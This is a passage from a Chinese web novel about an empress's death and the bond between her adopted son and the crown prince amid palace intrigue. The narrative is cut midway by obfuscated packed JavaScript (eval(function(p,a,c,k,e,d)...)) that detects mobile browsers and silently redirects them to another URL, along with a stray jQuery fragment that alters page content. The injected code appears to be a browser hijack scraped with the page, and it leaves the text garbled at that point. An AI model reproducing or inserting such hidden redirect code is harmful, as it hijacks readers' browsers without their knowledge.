事情到底是从什么时候开始发生变化的?
大概是萧复雪死的那一年。
帝后青梅竹马,两情相许,他们是太祖皇帝生前赐下的婚约,帝王佳人,宿世姻缘,伉俪情深,是为人称道的美好故事。
但是揭开这一袭华美的衣袍,立马只有被细细密密的虱子啃食殆尽的白骨,皇帝始终是皇帝,他的心不可能停留在一个女人身上。
萧复雪不能妒不能怨,必须永远端着完美的皇后的面具,看着她的丈夫的心不停地流转在不同的宠妃身上,看着那些女人的肚子里不断地怀上她丈夫的孩子,宽容大度的同时,作为后宫之主,她还要处置善妒妃子们的互相戕害,要稳重不失分寸地教训僭越挑衅的妃子。
萧复雪一直都是一个近乎完美的妻子和皇后,皇帝在与他人两情缱绻后总会握着她的手,说她才是他唯一的妻子,任何女人都无法与她相提并论分毫。
萧复雪自幼亦是被作为一个皇后培养教导,她遵循三从四德,她千依百顺,可此刻只觉得那番肺腑之言恶心,恶心到她要呕吐出来,但她不能吐出来,她要将所有的恶心全部咽下,直到她黄土枯骨那一天。
她以为她忍一忍,就能一直不漏分毫,直到阙氏的出现,皇帝整颗心都被她牵引,甚至连给她这个皇后体面也顾不上了。
她不但自己不能怨,她还要一寸寸打断李修宜的逆骨,要他和自己一样,对着皇帝百依百顺,做个绝对孝顺的儿子。
可她到底不是个圣人,她有怨也有恨,恨这几十年的情分居然如此不值一提,可所有的怨恨,看到阙氏小心翼翼寻求庇护的模样却又烟消云散。
她也是个可怜的女人,她说她在北狄有两情相许之人,但因为容貌出众被族人当作棋子献与大梁皇帝,她听不懂这里所有人说的话,她也回不去故土,想在群狼环伺的后宫里生存下去,只能找一个依靠,那个人绝不是皇帝。
萧复雪咽下那些不可告人的私心,全心全意护住她即将降生的孩子,给他取名一个“乐”字,这个宫里所有的人都不开心,她只希望这个孩子能承载着所有人未尽的遗憾,自由快乐地长大。
后来狄人犯境,阙氏顶着祸水的名号被一杯毒酒赐死,用她一个手无缚鸡之力的女人的命去祭奠边境被坑杀的将士,曾经多么轰轰烈烈的盛宠最后也沦为一地血污。
皇帝因一时耽于美色差点成了亡国之君,大怒之下将未满月的乐湛丢进冷宫自生自灭,是萧复雪头一次违背了皇帝,将乐湛抱到自己身边.
那是她第一次不恭敬也不谦卑地直视皇帝,“陛下,您不该将您在阙嗟身上弄丢的掌控欲发泄在一个孩子身上。”
阙氏的名字很拗口,在皇帝下令不允许任何人提起这个人后几乎没有人记得她的名字,唯有萧复雪还记得。
皇帝同时被两个自以为握在手心的女人忤逆,气得将手边所有的东西全砸了。
萧复雪冷淡地转身回了宫,被禁足了整整三年。
此后她一心扑在乐湛身上,摸了摸婴儿的眉眼,真是与他母亲生得一模一样,轻声叹息,“小嗟,保佑你的孩子再幸运一点吧,不要和你一样。”
她迟疑片刻,“也不要与我一样。”
但是帝后的感情稍微有些风声就会被万民议论,萧家在边郡立下赫赫战功,纵使是皇帝也不得不顾及皇后的体面,三年的禁足被改成一年,最后又变成一个月。
萧复雪背后不单是她自己,还有整个萧家,这是她要背负起的责任,她必须强撑着应付皇帝,即便已经有了隔阂,还要和从前一般装作伉俪情深的模样演给天下人看。
萧复雪不愿意再生出皇帝的孩子,李修宜是她与皇帝情意正浓的时候生出来的孩子,她不愿她的孩子不是饱含父母爱意,被祝福着诞生的。
每每侍寝后,她必须要喝下避孕药,即便是在摧残她自己的身体,她也必须这么做,油尽灯枯之际,她甚至不到三十五岁。
乐湛跪在母后床前,涕泪横流,“母后你再等一等,哥哥马上便回来了。”
萧复雪面上无有人色,她知道乐湛总是觉得血缘隔着,她总是爱李修宜多一点,可她现在只想将乐湛看得更真切些。
他们都知道李修宜回不来了。
北狄犯境侵吞边郡,大梁已经元气大伤,东夷黑水部等新起部族跃跃欲试,北狄亦是虎视眈眈,大梁的边境岌岌可危,战火弥漫了大梁每一片土地,皇帝即便再忌惮太子及其母家势力,他也不得不命他远驰东部解决东夷之患。
正是战况焦灼之时,即便是萧复雪病危,皇帝也下令密而不报,不得扰乱军心,远在东郡的李修宜此时根本没有得到消息。
萧复雪恹恹抬手替乐湛擦了眼泪,“有你陪着母后,母后很开心,没有比这更让我开心的。”
乐湛满心只想让母后最后看一眼哥哥,毕竟那才是她的亲生儿子,他不想让母后和哥哥留下下遗憾,“母后,你等等我,我会带哥哥回来见你,等等我!”
而后头也不回地跑出去,他没有看见萧复雪伸出手喊他“小乐”,也没有看见她含着泪眷恋的眼神。
乐湛不眠不休跑死了四五头马才在天亮之前赶到了军营,李修宜在最快的时间内布置好战术与部署,顾不上什么军令什么旨意,用他能做到最快的速度赶回邺城。
刚迈进长乐宫的大门,就听见一声凄厉的“娘娘!”
万籁俱寂,什么都结束了。
乐湛脱力跌坐在地,他捂住脸,泪水从指缝溢出不断地滴落在地,他没有办法接受,明明只差一点,明明差一点就能让母后最后见一眼哥哥,为什么他就不能跑的再快一点呢?
李修宜一把捞起乐湛,“起来。”
他的声音是强作镇定后的冰冷,轻微地发着颤。
整个宫里只有他们两个人真正哭的是萧复雪,而在其他人眼里,死的是皇后,又是可以被当作权势运作的讹头。
先是传出皇后之死并非寻常,四皇子之母越践夫人及其兄长杜太尉似乎参与巫蛊之毒毒杀皇后,然而杜获手握重兵镇守边陲,亦不可轻举妄动。
于是皇帝勃然大怒地下令彻查皇后的死因,最后只避重就轻地处置了几个涉事宫女,越践夫人以及杜获仍旧全身而退。
李修宜再三告诫舅舅萧铎这时候要沉住气,这仇以后有的是机会慢慢讨还,但是萧铎还是没有禁住挑拨,居然公然持剑入殿,逼迫皇帝处死蛊毒一案的祸首。
皇帝虽然被逼着赐死宠妃越践夫人,但是身为君主怎么忍受得了如此忤逆威胁,立刻在杜获的撺掇下要治萧铎谋反的罪,甚至疑心起太子的意图。
疑心起了头便一发不可收拾,朝中杜获一党以违抗圣命,私自离营为
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171712|196832||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
借口对李修宜展开声势浩大的攻讦。
李修宜为了周全萧家,亲手斩杀自己的亲舅舅,甚至上交所有兵权,自请前去陵墓为母后守孝三年,急流勇退借此撇开嫌疑。
乐湛只能站在一边无力地干看着,他知道哥哥现在似乎在水深火热的泥淖里无法抽出身,但他什么忙都帮不上,他开始痛恨,为什么他从小只会一些逗鸟赏花,要是他也知道干点正事,现在是不是也不会什么忙也帮不上。
皇帝命李修宜独自一人前去为先皇后守孝,除去近卫不许一人跟随,但是乐湛什么也管不了了,他知道李修宜现在一定很不开心,他必须见他一面。
李修宜见到冒着风雪匆匆而来的乐湛,脸上并没有什么特别的表情,开口便是,“谁让你来的。”
乐湛翻身下马,上前两步,“哥……”
李修宜淡漠转身,吩咐近卫,“带九殿下回宫。”
乐湛着急的手穿过挡住他的禁卫,死死拽着李修宜的袖子,“我从城外过来的,没有人会发现的,哥这个时候了!让我陪你待一会行吗?让我做点我能做的。”
“带走!”
乐湛抓得更紧了,“你明明知道宫里所有人都不喜欢我,你明知道我只有你和母后了,你让我回宫我又能依靠谁?哥哥,别赶我走,就一会!”
李修宜好似疲惫得无以复加,他摆摆手让近卫出去,整座肃静的寝宫就只剩下两人,乐湛为母后上了香,跪过之后退了一步站在李修宜旁边。
“哥哥,我是不是做错了,我不应该去军营找你,不应该扰乱你,这样他们找不到攻击你的借口了。”乐湛忐忑的看李修宜。
“没有,你没做错,为人子若不能弥留之际在床前尽孝,我恐怕会抱憾终身,你做得很好。”
乐湛心头压着的一块巨石终于松快了些,“可惜最后还是没让你见到母后最后一面。”
“不要紧,有你替我守着是一样的。”
李修宜的声音有些魂不守舍的飘忽,好像现在他的身体里已经不是一个人完整的魂魄,只有残缺的碎裂,一点点散着裂纹,只等哪一刻撑不住了骤然崩塌。
“哥,”乐湛满是忧虑地看着他,“我只有你了,你别有事。”
这些年一直有传闻称乐湛的血脉不正,因为阙氏到了大梁不到足月就生下了乐湛,阙氏盛宠之下皇帝还能勉强相信她是受惊早产,但是随着北狄掠境,这个名字成为了他的耻辱,连带着耻辱的孩子他也厌恶至极。
两国势同水火的当下,乐湛要是没了皇后和李修宜的庇护,再加上皇帝的厌恶,恐怕立刻会被人欺辱至死。
要是他就此消沉下去,乐湛又该怎么办,就算不是为了他自己,不是为了萧家,他也要强打精神振作起来。
“过来,给我靠一下。”
乐湛懵然面向他,李修宜将额头抵在他的肩上,没有压下多大力气,他只是需要一个支柱,让他继续站起来的力气,“回去等着我,我不会在这里待很久,我很快就会回来。”
乐湛绷着肩让哥哥依靠,他能感受到李修宜心里的隐痛,能感受到他故作冷静下寸寸崩裂的理性,他偏头看着母后的灵位,心底暗暗下定决心,他一定会成为有用的人,他一定不会再像现在一般无能为力地看着李修宜承担一切风雨。
至少那时候,他真的是这么想的。